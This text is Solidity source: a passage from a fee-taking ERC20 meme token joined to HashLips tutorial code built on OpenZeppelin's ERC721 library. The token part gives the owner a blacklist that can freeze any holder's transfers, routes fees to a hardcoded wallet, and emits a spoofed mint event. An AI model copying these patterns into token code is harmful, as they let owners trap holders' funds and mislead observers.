modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x7143f0828b1BFE79e83D882A5fD0462D5184e707);
_feeAddrWallet2 = payable(0x7143f0828b1BFE79e83D882A5fD0462D5184e707);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x7143f0828b1BFE79e83D882A5fD0462D5184e707), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 25000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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] |
// SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
